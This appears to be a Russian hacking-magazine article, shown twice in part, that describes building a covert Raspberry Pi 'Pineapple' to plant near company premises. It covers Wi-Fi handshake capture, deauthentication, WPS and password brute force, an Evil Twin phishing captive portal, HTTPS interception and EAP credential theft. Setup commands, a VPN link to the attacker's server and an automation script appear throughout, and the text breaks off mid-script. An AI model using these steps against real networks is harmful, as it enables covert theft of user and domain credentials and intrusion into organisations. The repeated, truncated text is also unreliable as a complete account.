В фильмах порой можно увидеть, как коварный хакер с помощью небольшого карманного устройства размером с мобильный телефон взламывает беспроводную сеть какой‑нибудь фирмы, проникает на ее серверы и крадет пароли. Сегодня мы превратимся в героя такого фильма и подробно разберем конструкцию устройства Pineapple, обладающего поистине фантастическими возможностями. Но самое главное — его можно собрать самостоятельно, и мы подробно расскажем как.
В предыдущих статьях рассматривались атаки, требующие прямого доступа к устройству. Теперь речь пойдет о других типах физических атак — по радиоканалу, то есть не требующих непосредственного контакта с целями. А значит, эти атаки еще опаснее и злоумышленник становится еще незаметнее. Ведь если физические атаки больше характерны для внутреннего нарушителя, прошедшего определенные рубежи контроля, то физические атаки с применением радиоволн используют внешние нарушители, которые, возможно, находятся где‑то на расстоянии и действуют через стены.
Тем не менее это не полноценные удаленные атаки, проводимые через интернет. Такие атаки также требуют от злоумышленника быть рядом с целями, только «рядом» здесь означает несколько десятков или сотен метров. Сегодня беспроводные сети широко распространены, и со временем отказ от проводов в пользу радиоинтерфейсов будет только набирать обороты. Главная причина — удобство. А в мире ИБ, как правило, что удобно, то небезопасно. Все беспроводное можно как минимум заглушить, если взломать не получается.
Технология Wi-Fi представляет для потенциального злоумышленника перспективную поверхность для атак. Эта технология распространена повсеместно, максимально доступна и в то же время достаточно разнообразна в плане известных атак, простоте их исполнения и степени воздействия.
Главная особенность атак как на Wi-Fi, так и на радиосвязь в целом — ограниченный радиус действия. Для Wi-Fi такое ограничение составляет 50–100 м. И далеко не всегда принимаемый сигнал позволяет злоумышленнику занять удобное место, чтобы расположиться с ноутбуком. А некоторые атаки и вовсе требуют, чтобы сигнал атакующего устройства был лучше, чем у легитимного источника. Однако злоумышленник может собрать особое устройство, которое позволит ему выполнять атаки везде, где необходимо, выглядя при этом не так подозрительно, как на следующей картинке.
Часто атаки на беспроводные сети зависят от обстоятельств (например, наличия клиентов), поэтому их успешность определяет еще и длительность. Однако есть возможность сделать автономное миниатюрное устройство и заранее запрограммировать его на совершение тех или иных атак или удаленно управлять им так, что злоумышленник не будет обнаружен рядом с объектом и даже не попадет под объективы видеокамер. Такой девайс можно незаметно подложить вблизи целей. Мы рассмотрим пример такого устройства. По сути, это аналог известного готового решения Pineapple — аппаратной платформы, которая реализует атаки на беспроводные сети.
Вообще, попытка проникновения «по воздуху» — это не просто атака «в лоб», которую легко можно заметить по характерному имени. Зачастую компании делают множество дополнительных беспроводных сетей для разных целей: гостевую, корпоративную, технологическую, сеть для VIP-клиентов и прочие. Не стоит забывать про тестовые и разнообразные несанкционированные беспроводные сети. Если компания имеет строгую политику безопасности и запрещает выход в интернет, то количество несанкционированных «самопальных» беспроводных сетей, раздаваемых самими сотрудниками, как правило, велико. Так что, если беспроводная инфраструктура похожа на описанную, для злоумышленника атаки на сети Wi-Fi такой компании имеют большие шансы на успех, хоть и связаны с обширным перечнем проверок.
Основные требования к подобному устройству — миниатюрность, дешевизна, доступность компонентов и простота сборки. Наиболее удачным решением может быть Raspberry Pi Zero W — один из немногих широко известных одноплатных микрокомпьютеров, встроенный Wi-Fi-чип которого поддерживает режимы работы, необходимые для подавляющего количества атак. И в итоге можно перейти от того, что представлено на следующем рисунке, к чему‑то менее заметному.
А насколько собственное решение может быть меньше готового, видно на следующем рисунке.
Злоумышленник, конечно же, может пойти по пути наименьшего сопротивления и взять готовое решение. Но, учитывая то, что специфика атаки предполагает оставлять устройство в неконтролируемой зоне, оно становится в некоторой степени расходным материалом, причем весьма недешевым. К тому же миниатюрное устройство проще спрятать или даже поместить на дрон (об этом я расскажу в следующей статье). На мой взгляд, выбор под описываемые области применения тут очевиден: если устройство пропадет, злоумышленник просто купит еще один Raspberry и прошьет заготовленный образ на карту памяти, а не станет приобретать дорогое готовое решение и ждать, кого его доставят.
Raspberry, как и большинство других одноплатных компьютеров, может работать на пониженном напряжении, что позволяет использовать с ним популярные компактные аккумуляторы с напряжением 3,7 В. Такие аккумуляторы дешевле и меньше, чем powerbank, и их можно легко купить в специализированных магазинах. Заряжаются же они напряжением 5 В, которые можно взять от любого USB.
Правда, несмотря на то, что Raspberry Pi умеет работать от 3,3 В, внешние USB-устройства не получают при этом обещанные им USB-стандартом 5 В. Поэтому, если планируется использовать такие внешние USB-устройства, придется все‑таки поднять напряжение до 5 В через популярную плату DC-DC MT3608. В результате можно получить минимальную конфигурацию такого аппаратного решения, представленную на следующем рисунке.
Аккумулятор 3,7 В, расположенный снизу, через повышающую плату DC-DC MT3608 подает 5 В на второй и девятый пины GPIO. Также к преобразователю напряжения подпаян внешний Micro-USB для удобной зарядки аккумулятора и тумблер подачи питания от аккумулятора. Тем не менее у Raspberry есть два собственных USB-порта, значит, всегда есть возможность использовать обычный powerbank. Схема подключения к плате светодиодов, переключателей, а также подводки питания представлена на следующем рисунке.
Использование дисплея может быть расточительно с точки зрения экономии аккумулятора, поэтому для индикации процесса лучше использовать три светодиода. Принцип управления поведением светодиодов описан в статье про BadUSB-ETH.
Для автоматического старта тех или иных сценариев задействовано шесть положений перемычек (их программная обработка описана ниже) и две точки подачи напряжения — 5 и 3,3 В. Также восьмой и десятый пины — это точки, на которых с помощью UART-переходника всегда можно открыть шелл на Pineapple-устройстве.
Теперь к самому главному — Wi-Fi-адаптеру. Режим монитора встроенной Wi-Fi-карты недоступен «из коробки», но возможен на специальной прошивке, и для его активации требуется собрать новое ядро:
После долгой установки появится дополнительный файл прошивки для Wi-Fi-чипа, через который реализуется режим монитора:
Чтобы переключиться между прошивками, можно перезагрузить драйвер и переименовать файл прошивки:
Режим монитора активируется в стиле mac80211-стека:
Возможность автономно выполнять самые популярные Wi-Fi-атаки теперь обеспечена. Тем не менее с Raspberry всегда можно использовать любой внешний Wi-Fi-адаптер и дополнительные антенны. Правда, неприметность от этого может пострадать. Сложные атаки не так просто автоматизировать. И потенциальному злоумышленнику может быть на руку удаленное управление таким девайсом.
Достаточно легко сделать так, чтобы подобный Pineapple был всегда доступен злоумышленнику при помощи любого 4G-модема. Современный 4G-модем реализуется как виртуальная сетевая карта (уже знакомая нам по статье о BadUSB-ETH), что максимально упрощает взаимодействие Pineapple с ним. Для этого достаточно активировать сетевой интерфейс модема:
Для удаленного доступа к Pineapple требуется настроить автозапуск VPN до сервера, используемого злоумышленником в качестве опорной точки:
Управлять непосредственно самим Pineapple проще всего по SSH:
Теперь злоумышленник может поместить такое устройство в любое место, где принимается сигнал атакуемых точек доступа или есть много потенциальных жертв для атак Evil Twin. При этом можно управлять Pineapple с ноутбука, сидя где‑нибудь в комфортном и безопасном месте.
Например, используя VPN-канал по 4G, злоумышленник может просто расшарить по сети беспроводной mon-интерфейс Pineapple и реализовывать все Wi-Fi-атаки со своего ноутбука:
Если 4G-канал недоступен, для настройки атак в автономном режиме всегда можно подключиться к плате и получить консоль через UART, как продемонстрировано на следующем рисунке.
Далее уже в привычном шелле, работая с ОС девайса, можно выполнить тонкую настройку сценария атаки.
Зачастую в таком виде устройство завершает работу ОС некорректно, например если разрядился аккумулятор. Поэтому, чтобы на устройстве не пропали важные данные, рекомендуется отключить дисковый кеш:
Подключаться к плате по UART или 4G весьма удобно, но в некоторых случаях злоумышленнику может потребоваться сразу начать выполнять атаки. Быстро запустить предустановленные сценарии, ориентированные на широкий круг целей, позволит джампер (перемычка) на GPIO. Отслеживать положение джампера на программной стороне можно так:
Теперь, меняя положение джампера непосредственно перед включением Pineapple, злоумышленник указывает запуск, например, вектора Evil Twin или в другом положении — массовую деаутентификацию и сбор handshake (рукопожатия при аутентификации). Что и в каком случае использовать, задается в скрипте автозапуска:
Ход и результаты атак сохраняются в соответствующие файлы на карте памяти Pineapple, с названием, отражающим тип, дату и время атаки. Этот скрипт следует лишь добавить в автозагрузку:
В скрипте startup.sh тезисно описаны все атаки, которые рассматриваются в этой статье.
Разнообразных атак на Wi-Fi предостаточно, и в этой статье описаны лишь те атаки, которые требуют длительного участия атакующего. Форм‑фактор атакующего устройства идеально подходит для скрытого длительного размещения вблизи атакуемых объектов — точек доступа, их пользователей и самих клиентских устройств, IP-камер и прочих. А светодиоды информируют о статусе атаки без подключения к плате. Так можно понять, выполнил ли Pineapple свою работу, или злоумышленнику стоит вернуться за ним позже.
Теперь рассмотрим каждую из основных атак на Wi-Fi, которые тезисно описаны выше:
Содержимое этого пакета служит доказательством для точки доступа, что клиент знает общий ключ PSK. Злоумышленник же, перехватив такой хеш, может подобрать пароль перебором по словарю. Для захвата хеша атакующему необязательно совершать активные действия. Поскольку в его распоряжении есть техническое средство, способное долго и незаметно находиться в зоне действия целевых беспроводных сетей, он может просто пассивно ждать передачи handshake, ведь такая атака абсолютно «бесшумна».
Мониторя беспроводные сети, этот скрипт на указанных частотных каналах каждые 10 сек проверяет, не захвачен ли handshake. Как только Pineapple захватит его, загорится желтый светодиод. Стоит упомянуть, что есть вероятность захвата невалидного пароля, который также отправляется в виде handshake-пакета. Но handshake с таким паролем не содержит ответа от точки доступа (EAPOL M3) и считается половинчатым (Half-handhake). Чтобы не получить ложного срабатывания, скрипт отбрасывает такие handshakes и оставляет только те, которые содержат подтверждение, а значит, с правильным паролем.
Чтобы ускорить сбор handshake, можно подключить активную составляющую — рассылку пакетов деаутентификации. Она отправляет от имени клиента и точки доступа всем слышимым клиентам Wi-Fi-сетей специальные пакеты, закрывающие соединение (деаутентификация). Клиент, который на самом деле не собирался отключаться от точки доступа, выполнит повторное подключение, передав хеш пароля к этой сети.
Процедура деаутентификации ведомая — она не переключает на устройстве частотные каналы самостоятельно, а следует за ведущим процессом monitor.sh, выполняющим эту работу. Все, что можно дополнительно сообщить скрипту, — список MAC-адресов атакуемых беспроводных сетей. Также в момент отправки деаутентификации Pineapple мигает зеленым светодиодом.
Деаутентификация имеет негативные побочные воздействия на атакуемую сеть — постоянно отключаются клиенты, поэтому запуск скрипта закомментирован в скрипте startup.sh и приведен как опциональный.
Во время охоты за handshake, опять же опционально, устройство может проверить принятые handshake самыми слабыми паролями по словарю. Перебирать больше 1000 вариантов не стоит, иначе быстро сядет аккумулятор. И если пароль подобран, загорается красный светодиод.
Для успеха злоумышленнику нужно на некоторое время незаметно поместить Pineapple в зону покрытия интересующих его Wi-Fi-сетей. И далее требуется главным образом просто набрать хешей, а серьезный брутфорс может быть выполнен позднее на более мощном оборудовании.
Цели для атаки можно задать как по MAC-адресу точки доступа, так и по имени беспроводной сети. Скорее всего, злоумышленник будет располагать лишь именем сети. Впрочем, у средних и крупных компаний на одно и то же имя может приходиться множество точек доступа. Этот скрипт перебирает PIN-коды на каждой точке.
Так как не на все Wi-Fi-сети можно выполнить ранее описанные атаки и подобрать пароль злоумышленнику тоже удается далеко не всегда, можно спросить этот пароль у самих пользователей, которые часто оказываются самым слабым звеном периметра. В этом случае устройство Pineapple может работать как точка доступа Wi-Fi с тем же именем сети, что и атакуемая. С той лишь разницей, что сеть открытая. Атака полагается на доверие пользователя к подставной сети. Предполагается, что именно пользователь намеренно подключится к будто бы легальной беспроводной сети и введет пароль, который отправится прямо к злоумышленнику в открытом виде.
Чтобы повысить вероятность того, что кто‑то из пользователей подключится к подставной сети, устройство Pineapple точно так же, как и в прошлый раз, может отправлять пакеты деаутентификации, отключая всех клиентов от атакуемой беспроводной сети.
Для успешности атаки Evil Twin злоумышленнику требуется грамотно решить две задачи: запустить беспроводную сеть с именем, которое точно привлечет внимание людей, и, конечно же, устроить толковый претекстинг Captive-портала. В скрипте startup.sh прописаны компоненты, формирующие эту атаку. Первый компонент — это точка доступа. Скрипт запуска точки доступа выглядит следующим образом:
Как только к Pineapple подключится клиент, загорится зеленый светодиод.
Шаблон конфигурационного файла для открытой беспроводной сети выглядит так:
Второй компонент — скрипт запуска DHCP-сервера:
Желтый светодиод сигнализирует, что клиент получил IP-адрес и начал пользоваться такой беспроводной сетью. Конфигурация предлагаемой сети при этом следующая:
Стоит заметить, что популярная программа dnsmasq — это не только DHCP-сервер, но и DNS-сервер. Причем сервер, работающий в весьма хакерском стиле: в последней строке ему отдается команда резолвить любой DNS-запрос от жертвы IP-адресом Pineapple. Так абсолютно все запросы обращаются в атакующее устройство.
Чтобы мимо хакерского устройства не прошел ни один HTTP-запрос, с помощью iptables заворачивается весь веб‑трафик от клиентов на Pineapple на уровне сети:
Настала очередь третьего, самого главного звена атаки — небольшого Captive-портала, реализованного через встроенный в интерпретатор PHP веб‑сервер:
Реализовать веб‑сервер проще, наверное, уже нельзя. Если пользователь введет пароль, то Pineapple оповестит об этом красным светодиодом. Обрабатывает все запросы скрипт captive.php:
Правильная реализация Сaptive-портала — очень важный и тонкий момент. Как правило, современные браузеры практически ничего не отправляют по открытому HTTP-протоколу, а во многих браузерах поддержка этого протокола и вовсе отключена. Но Captive-портал — это общепринятый механизм, ограничивающий доступ в интернет с открытых беспроводных сетей, поэтому все современные ОС сразу после подключения проверяют наличие Captive-порталов, отправляя специальный HTTP-запрос. Если в этот момент не дать понять атакуемой стороне, что Captive-портал существует, — атака сорвется. Для этого нужно возвращать клиенту HTTP-ответ с кодом 200 и непустое содержимое страницы, даже если запрос делается на несуществующий ресурс. В случае успеха система автоматически отображает пользователю фишинговую страницу, выпытывающую те или иные данные.
Captive.php — лишь миниатюрная обертка между запросами клиентов‑жертв и веб‑страниц, которые они видят. Сейчас веб‑страницы достаточно сложны, и верстать их с нуля не самое гениальное решение. Вместо этого можно сохранить любую веб‑страницу аутентификации браузером и скопировать все файлы в eviltwin/www/. Таким образом можно обрабатывать любые HTTP-запросы единым PHP-скриптом и во время атаки максимально абстрагироваться от кодинга.
Так как данные с веб‑форм почти всегда отправляются по HTTP методом POST, все подобные запросы будут сохранены. А если среди таких запросов есть параметр password, то captive.sh отреагирует на это красным светодиодом.
Введенные пользователем данные подсвечены красным цветом в терминале, чтобы можно было видеть статус и при удаленном подключении по 4G.
Весь вывод от всех скриптов также сохраняется на карте памяти Pineapple. Поскольку атака Evil Twin социальная, то под каждую конкретную ситуацию может потребоваться верстка своего варианта оформления страницы Captive-портала. Злоумышленник необязательно должен запрашивать пароль от конкретной точки доступа. Жертвам может быть предложена любая веб‑форма, хоть от соцсетей, хоть от любого другого сайта. Главное — убедить пользователя ввести туда те данные, которые злоумышленник нацелен получить. Да и необязательно имитировать легитимную сеть, важно ведь заинтересовать этой сетью пользователя, это может быть хоть «Free Wi-Fi».
Последний, но не обязательный штрих — отключение клиентов от легитимной сети (логическое глушение сигнала):
Во время атаки Evil Twin с глушением сигнала легитимных точек важно не «выстрелить себе в ногу» и исключить из списка целей фишинговую беспроводную сеть.
Атака Evil Twin именно социальная, то есть требует непосредственных действий пользователя. И социальная она, как правило, в двух смыслах.
Во‑первых, пользователь сам должен выбрать подставную сеть для подключения, поскольку клиентское устройство само не переподключится с закрытой сети на открытую, даже если имя подставной сети в точности соответствует легитимной. Лишь у старых ОС и на старых устройствах была такая неразборчивость, когда сеть могла автоматически смениться с WPA на OPN при наличии одинакового имени.
Во‑вторых, учетные данные за пользователя тоже никто не введет. Как только такой пользователь найдется, при открытии любой веб‑страницы ему навязчиво будет предложено ввести пароль, который принимается уже открытым текстом и сохраняется в устройстве Pineapple.
Атака Evil Twin может быть эффективна на режимных объектах со строгими правилами, где «изголодавшиеся по интернету» сотрудники готовы на многое, в том числе и ввести любые данные ради доступа к сети. Там злоумышленник, сыграв на слабостях человека, вполне может раздобыть и доменную учетку, и все на свете, с чем он потом удаленно зайдет в чью‑то почту или подключится по VPN во внутреннюю сеть.
В предыдущем разделе, когда к Pineapple подключается пользователь, его лишь скромно просят ввести конфиденциальные данные. Но можно поступить проще. Что, если компьютер пользователя уязвим или на вход в систему стоит слабый пароль? И что, если в комп в момент его подключения к «злой» беспроводной сети вставлен кабель, соединяющий с локальной сетью? Тогда путь проникновения может быть для злоумышленника еще более легким.
Сценарий нападения «Honeypot» использует те же самые механизмы запуска точки доступа hostapd.sh и раздачи IP-адресов dnsmasq.sh, что и у Evil Twin. Но далее сценарий развивается аналогично BadUSB-ETH. Сразу после старта беспроводной сети запускаются глобальные атакующие скрипты, а как только появляется клиент с IP-адресом, на него автоматически идет шквал таргетированных атак:
Скрипт запускает атаки снова и снова для вновь подключившихся клиентов. Тут используется атакующий арсенал скриптов, уже описанный в статье о BadUSB-ETH. В дополнение к тому, что уже описано, а это и атаки на NetBIOS-запросы, и подмена содержимого веба, и кража cookies, может быть добавлено еще многое. Например, вмешательство в HTTPS-трафик жертв, подключившихся к подставной точке доступа. Для этого нужно завернуть на себя 443/TCP-порт и при подключении внедрить самоподписанный сертификат. Если в перехваченном трафике встречаются чувствительные данные, то в логах такая строка выделяется цветом, а на устройстве загорается желтый светодиод:
В конце концов, в файле sslsplit.log лежит весь расшифрованный трафик, доступный для дальнейшего изучения и поиска секретов уже вручную. Вообще, необязательно подключившееся устройство станет передавать данные в зашифрованном виде, вполне возможно, что будет использован и обычный HTTP:
Если какие‑либо чувствительные данные передаются по незащищенному HTTP, это также видно в логах выделенным цветом и по желтому светодиоду на устройстве. Злоумышленник может записать весь трафик клиентов:
Тут жертва никак не ограничивается в своих действиях, все попытки что‑то скачать по незащищенному HTTP или согласиться на самоподписанный сертификат по HTTPS только приветствуются ханипотом.
Также персонально для каждого подключившегося клиента могут быть использованы реализованные в статье про BadUSB-ETH скрипты:
При EAP-атаке происходит почти то же самое, что и в Evil Twin, где имитируется легитимная точка доступа и атакуются ее клиенты, только атакуется именно само устройство клиента — железка, а не человек. Это сводит к нулю социальный фактор и не требует вообще никакого участия пользователя — что называется zero click. Атака получается на 100% надежной и быстрой, если подверженное этой атаке устройство есть.
Уязвимость кроется в том, что само устройство автоматически небезопасно передает учетные данные для подключения к сети WPA Enterprise.
Требуется запустить немного пропатченную версию hostapd-wpe, сохраняющую более подробные логи при получении учетных данных, а также предложить клиентскому устройству список методов аутентификации в обратном порядке — начиная с самого небезопасного. И если клиент согласится, пароль или хеш удастся перехватить:
Для привлечения клиентов может быть запущен скрипт deauth.sh, отключающий клиентов от их легитимных точек доступа.
Нужно обратить особое внимание, что при имитации легитимной точки доступа WPA Enterprise можно получить пароль в открытом виде! Это зависит от того, как легитимная беспроводная сеть запомнилась на клиентском устройстве. Если это GTC, то пароль можно получить открытым текстом, если MSCHAP — в виде хеша NetNTLMv1, пароль из которого можно восстановить за конечное время. А в качестве самих учетных записей в WPA Enterprise, как правило, используются доменные логин и пароль. Это значит, что, захватив такую учетку, злоумышленник либо тут же подключается по Wi-Fi и попадает сразу во внутреннюю сеть компании, причем уже с доменной учетной записью, либо заходит в него удаленно, например по VPN, при его наличии.
Это может показаться весьма странным, ведь при атаках на сети WPA PSK, которые есть практически в каждом доме, злоумышленник довольствовался бы лишь handshake, который надо еще брутить и брутить, порою весьма долго. А при атаках на WPA Enterprise он получает либо NetNTLMv1-хеш, который на порядки слабее того же PSK и за умеренное время может быть сведен до LM-хеша, либо пароль открытым текстом! Хотя WPA Enterprise считается стандартом для предприятий и, по идее, должен быть достаточно защищенным.
Эта уязвимость справедлива только для сетей WPA EAP (Enterprise), встречающихся в корпоративном сегменте, что делает ее весьма опасной, ведь она может стать точкой проникновения в компанию со всеми вытекающими последствиями.
Pineapple, заряженный такой атакой, может быть помещен как в зоне действия легитимных точек доступа, так и за их пределами на достаточно длительный срок, как продемонстрировано на следующем рисунке. Клиенты, которые и будут мишенями для атаки, подвижны и обычно в начале или конце рабочего дня часто выходят из зоны покрытия, где их может поджидать Pineapple.
Как правило, у каждой компании, открытой или режимной, всегда есть место, через которое помещение покидают все сотрудники, — главный вход. Это небольшая область, где за короткое время могут проходить сотни или тысячи людей и где уже нет приема корпоративной беспроводной сети. Именно эта область может быть зоной действия Pineapple. И сотрудники, еще не успевшие отключить Wi-Fi на устройствах, сами того не подозревая, автоматически скомпрометируют свои учетные записи и тем самым откроют двери во внутреннюю сеть компании. Злоумышленник, получивший туда доступ с доменной учетной записью, с большой долей вероятности сможет скомпрометировать всю внутреннюю инфраструктуру, причем достаточно быстро.
Удаленный атакующий, имеющий VPN-соединение с Pineapple, может получить сетевой доступ к интересующей его Wi-Fi-сети, просто указав Pineapple в качестве сетевого шлюза:
Теперь ему остается только положить Pineapple вблизи скомпрометированного беспроводного устройства и вернуться в комфортное помещение.
Например, беспроводные принтеры, которых всегда предостаточно почти у любой организации, часто имеют не самые надежные пароли. Второй «ногой» такие принтеры, как правило, стоят уже в локальной сети.
Pineapple по VPN предоставит злоумышленнику удаленный сетевой доступ в скомпрометированную беспроводную сеть, где могут быть развиты уже последующие длительные атаки. И на этом участие Pineapple заканчивается. Дальше уже начинается фаза внутреннего проникновения. Но это уже совсем другая история…
Устройство Pineapple хорошо демонстрирует главным образом незаметность атак. Ведь все описанные атаки уже давно можно проводить с обычного ноутбука. Но мало кто станет этим заниматься, сидя в сугробе возле окна под присмотром камеры.
Главное, что можно рекомендовать безопасникам, — это реализовать тщательный контроль за беспроводными сетями. В идеале их зона покрытия не должна выходить за пределы контролируемой зоны. Даже если беспроводные сети уязвимы, нужно сделать эти уязвимости исключительно внутренними, не давать их проэксплуатировать за пределами офиса. В таком случае у потенциального злоумышленника не будет даже физической возможности начать атаки, и это пресечет все угрозы.
Автор @s0i37
Lead cybersecurity analyst at USSC t.me/s0i37_channel
источник xakep.ru
В предыдущих статьях рассматривались атаки, требующие прямого доступа к устройству. Теперь речь пойдет о других типах физических атак — по радиоканалу, то есть не требующих непосредственного контакта с целями. А значит, эти атаки еще опаснее и злоумышленник становится еще незаметнее. Ведь если физические атаки больше характерны для внутреннего нарушителя, прошедшего определенные рубежи контроля, то физические атаки с применением радиоволн используют внешние нарушители, которые, возможно, находятся где‑то на расстоянии и действуют через стены.
Тем не менее это не полноценные удаленные атаки, проводимые через интернет. Такие атаки также требуют от злоумышленника быть рядом с целями, только «рядом» здесь означает несколько десятков или сотен метров. Сегодня беспроводные сети широко распространены, и со временем отказ от проводов в пользу радиоинтерфейсов будет только набирать обороты. Главная причина — удобство. А в мире ИБ, как правило, что удобно, то небезопасно. Все беспроводное можно как минимум заглушить, если взломать не получается.
Технология Wi-Fi представляет для потенциального злоумышленника перспективную поверхность для атак. Эта технология распространена повсеместно, максимально доступна и в то же время достаточно разнообразна в плане известных атак, простоте их исполнения и степени воздействия.
Главная особенность атак как на Wi-Fi, так и на радиосвязь в целом — ограниченный радиус действия. Для Wi-Fi такое ограничение составляет 50–100 м. И далеко не всегда принимаемый сигнал позволяет злоумышленнику занять удобное место, чтобы расположиться с ноутбуком. А некоторые атаки и вовсе требуют, чтобы сигнал атакующего устройства был лучше, чем у легитимного источника. Однако злоумышленник может собрать особое устройство, которое позволит ему выполнять атаки везде, где необходимо, выглядя при этом не так подозрительно, как на следующей картинке.
Часто атаки на беспроводные сети зависят от обстоятельств (например, наличия клиентов), поэтому их успешность определяет еще и длительность. Однако есть возможность сделать автономное миниатюрное устройство и заранее запрограммировать его на совершение тех или иных атак или удаленно управлять им так, что злоумышленник не будет обнаружен рядом с объектом и даже не попадет под объективы видеокамер. Такой девайс можно незаметно подложить вблизи целей. Мы рассмотрим пример такого устройства. По сути, это аналог известного готового решения Pineapple — аппаратной платформы, которая реализует атаки на беспроводные сети.
Вообще, попытка проникновения «по воздуху» — это не просто атака «в лоб», которую легко можно заметить по характерному имени. Зачастую компании делают множество дополнительных беспроводных сетей для разных целей: гостевую, корпоративную, технологическую, сеть для VIP-клиентов и прочие. Не стоит забывать про тестовые и разнообразные несанкционированные беспроводные сети. Если компания имеет строгую политику безопасности и запрещает выход в интернет, то количество несанкционированных «самопальных» беспроводных сетей, раздаваемых самими сотрудниками, как правило, велико. Так что, если беспроводная инфраструктура похожа на описанную, для злоумышленника атаки на сети Wi-Fi такой компании имеют большие шансы на успех, хоть и связаны с обширным перечнем проверок.
РЕАЛИЗАЦИЯ
Злоумышленнику вовсе не обязательно приобретать готовые дорогостоящие решения, он может собрать нужное устройство самостоятельно. На самом деле нет ничего сложного в том, чтобы в эру изобилия одноплатных компьютеров изготовить небольшое устройство, которое можно максимально гибко настраивать.Основные требования к подобному устройству — миниатюрность, дешевизна, доступность компонентов и простота сборки. Наиболее удачным решением может быть Raspberry Pi Zero W — один из немногих широко известных одноплатных микрокомпьютеров, встроенный Wi-Fi-чип которого поддерживает режимы работы, необходимые для подавляющего количества атак. И в итоге можно перейти от того, что представлено на следующем рисунке, к чему‑то менее заметному.
А насколько собственное решение может быть меньше готового, видно на следующем рисунке.
Злоумышленник, конечно же, может пойти по пути наименьшего сопротивления и взять готовое решение. Но, учитывая то, что специфика атаки предполагает оставлять устройство в неконтролируемой зоне, оно становится в некоторой степени расходным материалом, причем весьма недешевым. К тому же миниатюрное устройство проще спрятать или даже поместить на дрон (об этом я расскажу в следующей статье). На мой взгляд, выбор под описываемые области применения тут очевиден: если устройство пропадет, злоумышленник просто купит еще один Raspberry и прошьет заготовленный образ на карту памяти, а не станет приобретать дорогое готовое решение и ждать, кого его доставят.
Raspberry, как и большинство других одноплатных компьютеров, может работать на пониженном напряжении, что позволяет использовать с ним популярные компактные аккумуляторы с напряжением 3,7 В. Такие аккумуляторы дешевле и меньше, чем powerbank, и их можно легко купить в специализированных магазинах. Заряжаются же они напряжением 5 В, которые можно взять от любого USB.
Правда, несмотря на то, что Raspberry Pi умеет работать от 3,3 В, внешние USB-устройства не получают при этом обещанные им USB-стандартом 5 В. Поэтому, если планируется использовать такие внешние USB-устройства, придется все‑таки поднять напряжение до 5 В через популярную плату DC-DC MT3608. В результате можно получить минимальную конфигурацию такого аппаратного решения, представленную на следующем рисунке.
Аккумулятор 3,7 В, расположенный снизу, через повышающую плату DC-DC MT3608 подает 5 В на второй и девятый пины GPIO. Также к преобразователю напряжения подпаян внешний Micro-USB для удобной зарядки аккумулятора и тумблер подачи питания от аккумулятора. Тем не менее у Raspberry есть два собственных USB-порта, значит, всегда есть возможность использовать обычный powerbank. Схема подключения к плате светодиодов, переключателей, а также подводки питания представлена на следующем рисунке.
Использование дисплея может быть расточительно с точки зрения экономии аккумулятора, поэтому для индикации процесса лучше использовать три светодиода. Принцип управления поведением светодиодов описан в статье про BadUSB-ETH.
Для автоматического старта тех или иных сценариев задействовано шесть положений перемычек (их программная обработка описана ниже) и две точки подачи напряжения — 5 и 3,3 В. Также восьмой и десятый пины — это точки, на которых с помощью UART-переходника всегда можно открыть шелл на Pineapple-устройстве.
Теперь к самому главному — Wi-Fi-адаптеру. Режим монитора встроенной Wi-Fi-карты недоступен «из коробки», но возможен на специальной прошивке, и для его активации требуется собрать новое ядро:
Код:
wget -O re4son-kernel_current.tar.xz https://re4son-kernel.com/download/re4son-kernel-current/
tar -xJf re4son-kernel_current.tar.xz
cd re4son-kernel_4*
sudo ./install.sh
Код:
md5sum /lib/firmware/brcm/brcmfmac43430-sdio.*
bae7f1ba1b64cb19bb0c5433a3940405 /lib/firmware/brcm/brcmfmac43430-sdio.bin.monitor
54f6af2776997cb1ee06edf2b93ab815 /lib/firmware/brcm/brcmfmac43430-sdio.bin.original
Код:
rmmod brcmfmac
cp brcmfmac43430-sdio.bin.original brcmfmac43430-sdio.bin
modprobe brcmfmac
Код:
iw phy0 interface add mon0 type monitor
ifconfig mon0 up
airodump-ng mon0
Достаточно легко сделать так, чтобы подобный Pineapple был всегда доступен злоумышленнику при помощи любого 4G-модема. Современный 4G-модем реализуется как виртуальная сетевая карта (уже знакомая нам по статье о BadUSB-ETH), что максимально упрощает взаимодействие Pineapple с ним. Для этого достаточно активировать сетевой интерфейс модема:
/etc/network/interfaces
Код:
allow-hotplug eth0
auto eth0
iface eth0 inet dhcp
Код:
cp your_vds.ovpn /etc/openvpn/client/vds.conf
Код:
systemctl enable openvpn-client@vds
Код:
systemctl enable ssh.service
Например, используя VPN-канал по 4G, злоумышленник может просто расшарить по сети беспроводной mon-интерфейс Pineapple и реализовывать все Wi-Fi-атаки со своего ноутбука:
Код:
pineapple> airserv-ng -p 1337 -d mon0
attacker> airodump-ng -c 1,6,11 pineapple:1337
Код:
sudo minicom -D /dev/ttyUSB0 -b 115200 --color=on
Зачастую в таком виде устройство завершает работу ОС некорректно, например если разрядился аккумулятор. Поэтому, чтобы на устройстве не пропали важные данные, рекомендуется отключить дисковый кеш:
/etc/fstab
Код:
PARTUUID=067e19d7-02 / ext4 defaults,noatime,sync 0 1
/usr/local/bin/jmp
Код:
#!/bin/bash
exit $(raspi-gpio get $1 | awk '{print $3}' | cut -d '=' -f 2)
/home/pi/startup.sh
Код:
#!/bin/bash
function monitor_enable(){
iw phy0 interface add mon0 type monitor
ifconfig mon0 up
ifconfig wlan0 up
}
raspi-gpio set 7 ip pu
raspi-gpio set 10 ip pu
raspi-gpio set 11 ip pu
raspi-gpio set 23 ip pu
raspi-gpio set 25 ip pu
raspi-gpio set 27 ip pu
cd /home/pi/
time=$(date +'%H:%M:%S_%d.%m.%Y')
led green on 2> /dev/null
led yellow on 2> /dev/null
led red on 2> /dev/null
sleep 1
led green off 2> /dev/null
led yellow off 2> /dev/null
led red off 2> /dev/null
if jmp 7; then
echo "[*] wpa auth/deauth/online_brute attack (static/dynamic)"
monitor_enable
cd wpapsk
screen -dmS wpapsk -t monitor -L -Logfile "$time-wpapsk-%n.log" ./monitor.sh -c 1,6,11
#screen -r wpapsk -t deauth -X screen ./deauth.sh -b target.txt
screen -r wpapsk -t brute-wpapsk -X screen ./brute-wpapsk.sh
screen -r wpapsk -t auth -X screen ./auth.sh
screen -r wpapsk -t brute-pmkid -X screen ./brute-pmkid.sh
screen -r wpapsk -t online_brute -X screen ./wpa_brute.sh "Target Wi-Fi" passwords.txt 4
#screen -r wpapsk -t online_brute -X screen './wpa_brute-width.sh 12345678 123456789 1234567890 password'
cd -
elif jmp 11; then
echo "[*] wps attack (static/dynamic)"
cd wpapsk
